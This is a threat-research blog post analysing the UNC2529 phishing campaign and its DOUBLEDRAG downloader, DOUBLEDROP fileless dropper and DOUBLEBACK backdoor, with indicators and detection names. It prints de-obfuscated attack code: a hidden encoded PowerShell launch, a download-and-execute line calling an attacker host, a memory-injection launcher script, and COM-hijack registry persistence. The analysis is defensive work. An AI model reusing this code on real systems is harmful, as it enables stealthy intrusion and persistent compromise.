The UNC2529 Triple Double: A Trifecta Phishing Campaign

fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html

Threat Research

Nick Richard, Dimiter Andonov

May 04, 2021

25 mins read

Threat Actors

Uncategorized Groups (UNC Groups)

In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor's modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution.

UNC2529 Phishing Overview

Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.

During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process.

The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function.

http://<fqdn>/downld-id_<string>
http://<fqdn>/downld-id-<string>
http://<fqdn>/files-upload_<string>
http://<fqdn>/files-upload-<string>
http://<fqdn>/get_file-id_<string>
http://<fqdn>/get_file-id-<string>
http://<fqdn>/zip_download_<string>
http://<fqdn>/zip_download-<string>

The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply

double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”.

Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php.

Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload.

The threat actor made slight modifications to the URL pattern during the second wave.

http://<fqdn>/<string>
http://<fqdn>/dowld_<string>
http://<fqdn>/download_<string>
http://<fqdn>/files_<string>
http://<fqdn>/id_<string>
http://<fqdn>/upld_<string>

Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document.

Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave.

Tailored Targeting

UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company.

Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line.

A utility company received a phish with subject, “easement to bore to our stairwell area.”

While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1.

Subject Lure	Wave
re: <redacted> outdoors environment (1 out of 3)	1st
accepted: follow up with butch & karen	1st
re: appraisal for <redacted> - smysor rd	2nd
re: <redacted> financing	2nd

Table 1: Sample financial industry subject lures

Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2.

Subject Lure	Wave
fw: certificate of insurance	1st

fw: insurance for plow	1st
please get this information	1st
question & number request	1st
claim status	2nd
applications for medicare supplement & part d	2nd

Table 2: Sample insurance industry subject lures

Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized.

Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker.

Subject Lure	Wave
dear worker, your work # ujcb0utczl	1st
good day worker, your job number- 8ldbsq6ikd	1st
hello worker, your work number- u39hbutlsf	1st
good day candidate, your vacancy # xcmxydis4s	2nd
dear worker, your work # ujcb0utczl	2nd

Table 3: Sample pattern subject lures

Industry and Regional Targeting

UNC2529's phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1.

Figure 1: UNC2529 phishing campaign, first wave

In the second wave, EMEA's percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2.

Figure 2: UNC2529 phishing campaign, second wave

Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.

Technical Analysis

Overview

The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor

DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor's persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines.

Ecosystem in Details

DOUBLEDRAG Downloader component

The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.

```
"C:\Windows\System32\cmd.exe" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden
-ep bypass -enc <base64_encoded_ps_code>
```

Figure 3: De-obfuscated JavaScript downloader

The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4.

```
IEX (New-Object Net.Webclient).downloadstring("hxxp://p-leh[.]com/update_java.dat")
```

Figure 4: Downloading and executing of the DOUBLEDROP dropper

DOUBLEDROP Dropper component

Overview

The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system's registry database, effectively achieving a file-less malware execution.

Setup

The dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised system's registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section). In order to do so,

the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5.

```
* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>}
    * key: LocalServer
        * value: <default>
            * data: <bootstrap_ps_code>
    * key: ProgID
        * value: <default>
            * data: <rnd_guid_1>
        * value: <last_4_chars_of_rnd_guid_0>
            * data: <encoded_loader>
    * key: VersionIndependentProgID
        * value: <default>
            * data: <rnd_guid_1>
        * value: <first_4_chars_of_rnd_guid_0>
            * data: <encoded_rc4_key>
        * value: <last_4_chars_of_rnd_guid_0>
            * data: <rc4_encrypted_payload>

* HK[CU|LM]\Software\Classes\{<rnd_guid_1>}
    * value: <default>
        * data: <rnd_guid_1>
    * key: CLSID
        * value: <default>
            * data: <rnd_guid_0>

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>}
    * value: <default>
        * data: <rnd_guid_1>
    * key: TreatAs
        * value: <default>
            * data: <rnd_guid_0>
```

Figure 5: Registry keys and values created by the dropper

Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key as shown in Figure 5. Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!).

```
<relative_offset> = buffer[32]
buffer[32 + <relative_offset> + 1] = <reversed_rc4_key>
```

Figure 6: Encoding of the RC4 key

Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5).

At this point all the necessary steps that ensure the payload's persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections.

Persistence Mechanism

The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not.

If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID - the {<rnd_guid_2>} GUID (See Figure 5). Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task.

If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key's default registry value points to the {<rnd_guid_0>} emulator class essentially achieving the same execution sequence as in the elevated privilege case.

Bootstrap

The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator's class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes.

The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process. A decoded and sanitized version of the script is shown in Figure 7.

```
$enc = [System.Text.Encoding]::UTF8;
$loader = Get-ItemProperty
    -
Path($enc.GetString([Convert]::FromBase64String('<base64_encoded_path_to_launcher>')))
    -n '<launcher_reg_val>' | Select-Object -ExpandProperty '<launcher_reg_val>';
$xor_val = <xor_val>;
iex(
    $enc.GetString($(
        for ($i = 0; $i -lt $loader.Length; $i++) {
            if ($xor_val -ge 250) {
                $xor_val = 0
            }
            $loader[$i] -bxor $xor_val;
            $xor_val += 4
        }
    ))
)
```

Figure 7: De-obfuscated and sanitized bootstrap code

Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems.

The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key.

```
def encdec(src, key):
    out = bytearray()
    for b in src:
        if key >= 250:
            key = 0
        out.append(b ^ key)
        key += 4
    return out
```

Figure 8: Algorithm to Decode the Launcher

Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command.

Launcher

The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the

launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload's entry point.

A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9.

```
function DecryptPayload {
    param($fn7, $xf7, $mb5)
    $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;
    $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11)));
    $ow7 = $fn1[$en8..($en8 + 31)];
    [array]::Reverse($ow7);
    $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;
    $en8 = {
        $xk2 = 0..255;
        0..255 | % {
            $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5)));
            $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]
        };
        $fn1 | % {
            $sp3 = ($sp3 + 1) % (275 - 19);
            $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64);
            $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];
            $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))]
        }
    };
    $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join '';
    ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {
                [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0))))
            }
        )
    )
}

function ExecuteApi {
    param($fn7, $xf7)
    $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
System.Reflection.AssemblyName('?RND?')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?',
$false).DefineType('?RND?', 'Class,Public,Sealed,AnsiClass,AutoClass',
[System.MulticastDelegate]);
    $vy9.DefineConstructor('RTSpecialName,HideBySig,Public',
[System.Reflection.CallingConventions]::Standard,
$fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7,
$fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.CreateType()
}
```

```
function GetProcAddress {
    param($fn7)
    $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods');
    $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll'))));
    $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null,
[System.Reflection.CallingConventions]::Any, @((New-Object
System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null,
@([System.Runtime.InteropServices.HandleRef]$lr3, $fn7))
}

$decryptedPayload = DecryptPayload 'hklm:\software\classes\CLSID\
<rnd_guid_0>\VersionIndependentProgID' '<reg_val_payload>' '<reg_val_rc4_key>';

function InjectPayload {
    param($payload, $payloadLen, $entryPoint, $access)
    $mem =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress
'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0,
$payloadLen, 0x3000, $access);


[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress
'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem,
$payload, $payloadLen);
    $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);


[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress
'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])
([Intptr]))).invoke(0, 0, $mem, 0, 0, 0);
    Start-Sleep -s (((2673 - 942) + 1271))
}

# 0x36dc = Loader Entry Point, rva
# 0x40 = PAGE_EXECUTE_READWRITE
InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40
```

Figure 9: De-obfuscated and sanitized launcher script

DOUBLEBACK Backdoor component

Overview

The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then

inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process.

In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor's main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins.

Details

The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections.

Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a hardcoded salt value, as shown in Figure 10.

```
# oberserved salt = 0x436ea76d
def gen_host_id(vol_ser_num, salt):
    salted_val = (vol_ser_num + salt) & 0xffffffff
    md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))
    second_dword = struct.unpack('<i', md5.digest())[0]
    return (salted_val + second_dword) & 0xffffffff
```

Figure 10: Host ID generation algorithm

Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11.

```
# src is the host ID
def gen_guid(src):
    b = bytearray()
    xor = 0xaabbccdd
    for _ in range(4):
        b += src.to_bytes(4, byteorder='little')
        src ^= xor
        xor = (xor + xor) & 0xffffffff
    return uuid.UUID(bytes_le=bytes(b))
```

Figure 11: GUID generation algorithm

Once the GUID is generated the malware formats it as Global\{<guid>} and attempts to open a mutex with that name. In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into.

Executing Within the PowerShell Process

The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor's main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created.

The injection process involves finding the backdoor's image under the appropriate registry key. Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post.

With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its

DllMain entry point. The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor's DllMain function.

At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself.

Executing as Injected in the msiexec.exe Process

Overview

The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor.

Configuration

The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post). The configuration data is formatted as shown in Figure 12.

```
struct tag_config_header_t {
    uint32_t xor_val_1;
    uint32_t xor_val_2;
    uint32_t xor_val_3;
    uint32_t xor_val_4;
} config_header_t;

struct tag_config_t {
    config_header_t header;
    uint8_t encoded_config[];
} config_t;
```

Figure 12: Encoded configuration format

The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1.

The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. The first two bytes specify the lengths of the comma-separated URL list and the key, respectively. The URLs in the observed samples follow the pattern shown in Figure 13.

```
https://<server>/admin<n>/client.php
```

Figure 13: Observed C2 URL pattern

The initial sample did not have any value for <n> but the samples after that were observed to use <n> equal to 4 or 5.

Plugin Management

The backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638. The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID.

```
def lcg(max_range):
    global seed
    if seed == 0:
        seed = get_RDTSC()
    n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff
    val = n % max_range
    seed = n
    return val
```

Figure 14: Linear Congruential Generator used by the backdoor

The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15.

```
struct tag_plugin_header_t {
    uint32_t xor_val;
    uint32_t param_2; the second parameter of the pfn_init
    uint32_t len_1;
    uint32_t len_2;
    uint32_t pfn_init;
    uint32_t pfn_cleanup;
    uint32_t param_3; the third parameter of the pfn_init
    uint32_t unused;
} plugin_header_t;

struct tag_plugin_t {
      plugin_header_t header;
      uint8_t encoded_plugin[];
} plugin_t;
```

Figure 15: Encoded plugins format

As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL. The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value is incremented by one after each iteration.

The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16.

```
pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3,
p_plugin_image_in_memory)
```

Figure 16: Plugins initialization routine prototype

The current backdoor's implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor's process space.

Additional Notes

The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file

system. The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\Software\Classes key. The backdoor spawns a dedicated thread that retrieves the dropper's path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system.

Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process.

Finally, the backdoor would output debug information in a few cases using the OutputDebugString API. Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds. When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts.

Conclusion

Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced. The identified wide-ranging targets, across geography and industry suggests a financial crime motive.

DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide.

Technical Indicators

DOUBLEDRAG / BIFF8

Files

MD5	Role	Wave
39fc804566d02c35f3f9d67be52bee0d	DOUBLEDRAG	1st
44f7af834ee7387ac5d99a676a03cfdd	DOUBLEDRAG	1st

4e5583e34ad54fa7d1617f400281ba56	PDF Decoy	1st
e80dc4c3e26deddcc44e66bb19b6fb58	PDF Decoy	1st
169c4d96138d3ff73097c2a9aab5b1c0	Zip	1st
e70502d020ba707095d46810fd32ee49	Zip	1st
62fb99dc271abc104504212157a4ba91	Excel BIFF8 macro	2nd
1d3fcb7808495bd403973a0472291da5	PDF Decoy	2nd
6a1da7ee620c638bd494f4e24f6f1ca9	Zip	2nd
a28236b43f014c15f7ad4c2b4daf1490	Zip	2nd
d594b3bce66b8b56881febd38aa075fb	Zip	2nd

Domains

Dec. 2, 2020 Wave	**Dec. 11 to 18, 2020 Wave**
adupla[.]net	aibemarle[.]com
ceylonbungalows[.]net	bestwalletforbitcoin[.]com
chandol[.]com	bitcoinsacks[.]com
closetdeal[.]com	digitalagencyleeds[.]com
daldhillon[.]com	erbilmarriott[.]com
desmoncreative[.]com	ethernetpedia[.]com
farmpork[.]com	fileamazon[.]com

gemralph[.]com	gamesaccommodationscotland[.]com
isjustlunch[.]com	greathabibgroup[.]com
logicmyass[.]com	infomarketx[.]com
lottoangels[.]com	jagunconsult[.]com
mangoldsengers[.]com	khodaycontrolsystem[.]com
oconeeveteransmemorial[.]com	maninashop[.]com
scottishhandcraft[.]com	onceprojects[.]com
seathisons[.]com	simcardhosting[.]com
skysatcam[.]com	stayzarentals[.]com
smartnhappy[.]com	touristboardaccommodation[.]com
stepearn[.]com	towncentrehotel[.]com
sugarmummylove[.]com	vacuumcleanerpartsstore[.]com
techooze[.]com	zmrtu[.]com
tigertigerbeads[.]com	
totallyhealth-wealth[.]com	
towncenterhotel[.]com	
uaeworkpermit[.]com	

DOUBLEDROP

MD5

- 4b32115487b4734f2723d461856af155
- 9e3f7e6697843075de537a8ba83da541
- cc17e0a3a15da6a83b06b425ed79d84c

URLs

- hxxp://p-leh[.]com/update_java.dat
- hxxp://clanvisits[.]com/mini.dat
- hxxps://towncentrehotels[.]com/ps1.dat

DOUBLEBACK

MD5

- 1aeecb2827babb42468d8257aa6afdeb
- 1bdf780ea6ff3abee41fe9f48d355592
- 1f285e496096168fbed415e6496a172f
- 6a3a0d3d239f04ffd0666b522b8fcbaa
- ce02ef6efe6171cd5d1b4477e40a3989
- fa9e686b811a1d921623947b8fd56337

URLs

- hxxps://klikbets[.]net/admin/client.php
- hxxps://lasartoria[.]net/admin/client.php
- hxxps://barrel1999[.]com/admin4/client.php
- hxxps://widestaticsinfo[.]com/admin4/client.php
- hxxps://secureinternet20[.]com/admin5/client.php
- hxxps://adsinfocoast[.]com/admin5/client.php

Detections

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529.

Platforms	Detection Name

Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning	• FEC_Trojan_JS_DOUBLEDRAG_1 (static) • FE_Trojan_JS_DOUBLEDRAG_1 (static) • Downloader.DOUBLEDRAG (network) • Downloader.JS.DOUBLEDRAG.MVX (dynamic) • FE_Dropper_PS1_DOUBLEDROP_1 (static) • FEC_Dropper_PS1_DOUBLEDROP_1 (static) • Dropper.PS1.DOUBLEDROP.MVX (dynamic) • FE_Backdoor_Win_DOUBLEBACK_1 (static) • FE_Backdoor_Win_DOUBLEBACK_2 (static) • FE_Backdoor_Win_DOUBLEBACK_3 (static) • FE_Backdoor_Win_DOUBLEBACK_4 (static) • Backdoor.Win.DOUBLEBACK (network) • Malware.Binary.xls
